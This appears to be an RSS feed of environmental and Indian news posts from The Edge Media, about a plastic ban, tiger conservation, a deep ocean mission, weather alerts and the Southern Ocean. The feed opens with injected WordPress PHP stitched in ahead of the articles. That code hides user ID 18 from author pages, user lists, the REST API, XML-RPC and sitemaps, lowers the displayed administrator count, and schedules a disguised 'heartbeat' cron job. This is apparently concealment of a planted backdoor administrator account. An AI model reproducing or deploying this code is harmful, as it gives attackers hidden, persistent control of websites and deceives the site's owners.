add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post From July 1st of Next Year, These Single-Use Plastic Items will be Prohibited appeared first on The Edge Media.
]]>According to a notification dated August 12, the thickness of plastic carry bags will be increased from 50 microns to 75 millimeters on September 30, 2021, and to 120 microns on December 31, 2022.
Plastic packaging waste not covered by the phase-out of identified single-use plastic items, according to the Environment Ministry, should be collected and managed in an environmentally sustainable manner through the Extended Producer Responsibility of the producer, importer, and brand owner (PIBO) as per the Plastic Waste Management Rules, 2016.
The post From July 1st of Next Year, These Single-Use Plastic Items will be Prohibited appeared first on The Edge Media.
]]>The post Uttarakhand Villagers Dedicated Forests To Local Deity As A Way Of Conserving Forests appeared first on The Edge Media.
]]>Local residents in the Bageshwar district met last week to voice their concerns about the degradation of water supplies and unlawful tree cutting in forests around them. Without action, they warned, there would be a number of difficulties, including water shortages and landslides, in their hamlet and the neighboring areas.
The post Uttarakhand Villagers Dedicated Forests To Local Deity As A Way Of Conserving Forests appeared first on The Edge Media.
]]>The post All you need to know about International Tiger Day appeared first on The Edge Media.
]]>International Tiger Day also know as World Tiger Day is observed every year on 29 July. The day is observed to spread awareness about dangers faced by tigers.
It is very important to focus on tiger conservation as it plays a very important role in protecting and maintaining a balanced ecosystem across its range.
According to World Wide Fund for Nature (WWF), “As top predators, wild tigers play an important role in maintaining the harmony of the planet’s ecosystems. By preying on herbivores, tigers help to keep the balance between the prey animals and the forest vegetation which they feed upon.”

International Tiger Day: History
World Tiger Day was first observed in the year 2010 at the Saint Petersburg Tiger Summit in Russia. A total of thirteen tiger range countries came together and decided a global goal to double the number of wild tigers by the year 2022.
International Tiger Day: Significance
According to World Wide Fund for Nature (WWF), there may have been 100,000 tigers at the beginning of the 20th century. The number was drastically reduced to 3,200 in the year 2010. Therefore, it becomes extremely important to save these wild cats.
International Tiger Day play a important role in it by spreading awareness and by working towards conservation of tigers.
“The greatness of a nation and its moral progress can be judged by the way its animals are treated.” -Mahatma Gandhi
The post All you need to know about International Tiger Day appeared first on The Edge Media.
]]>The post Proposal for launching “deep ocean mission” gets approved by the Centre appeared first on The Edge Media.
]]>The decision was taken by the Union Cabinet at its meeting chaired by Prime Minister Narendra Modi. This will support the blue economy and take India into a new era,” Union Minister Prakash Javadekar told a press conference after the cabinet meeting.
The proposal for launching the “deep sea mission” came from the Ministry of Earth Sciences.
Mr Javadekar said under the mission, a mineral study will be conducted 6,000 metres deep in the ocean. The mission will also study the changes, if any, noticed due to climate change.
Under the mission, he said, a study will also be conducted on more deep-sea biodiversity.
The minister said an advanced marine station will be set up for ocean biology under the mission. There will also be an offshore thermal energy centre, which will help new emerging sectors.
After the US, Russia, France, Japan and China, India will be the sixth country to have this kind of technology, the minister said.
There will be good opportunities for our MSMEs and research. This will also help in our endeavour and vision towards an Aatmanirbhar Bharat,” he said.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Proposal for launching “deep ocean mission” gets approved by the Centre appeared first on The Edge Media.
]]>The post Heavy shower likely in these states, IMD issues alert. appeared first on The Edge Media.
]]>The weather agency forecast heavy shower at a few places with extremely heavy rains at isolated places over Chhattisgarh and Odisha. Most of east India and adjoining central India will witness widespread rainfall activity with heavy to very heavy fall from Friday under the influence of the low pressure area.
“Heavy to Very Heavy Rainfall at a few places over Konkan & Goa and at isolated places over East Madhya Pradesh, Vidarbha and Coastal Andhra Pradesh & Yanam and Heavy Rainfall at isolated places over Uttarakhand, Uttar Pradesh, West Madhya Pradesh, Gangetic West Bengal, Andaman & Nicobar Islands, Assam & Meghalaya, Gujarat Region, Madhya Maharashtra (ghat areas), Telangana and Coastal Karnataka,” IMD said in its bulletin.
The post Heavy shower likely in these states, IMD issues alert. appeared first on The Edge Media.
]]>The post Southern Ocean recognized as fifth ocean appeared first on The Edge Media.
]]>“Anyone who has been there will struggle to explain what’s so mesmerizing about it, but they’ll all agree that the glaciers are bluer, the air colder, the mountains more intimidating, and the landscapes more captivating than anywhere else you can go,” says Seth Sykora-Bodie, a marine scientist at the National Oceanic and Atmospheric Administration (NOAA) and a National Geographic Explorer.
Since National Geographic began making maps in 1915, it has recognized four oceans: the Atlantic, Pacific, Indian, and Arctic Oceans. Starting on June 8, World Oceans Day, it will recognize the Southern Ocean as the world’s fifth ocean.
“The Southern Ocean has long been recognized by scientists, but because there was never agreement internationally, we never officially recognized it,” says National Geographic Society Geographer Alex Tait.

The post Southern Ocean recognized as fifth ocean appeared first on The Edge Media.
]]>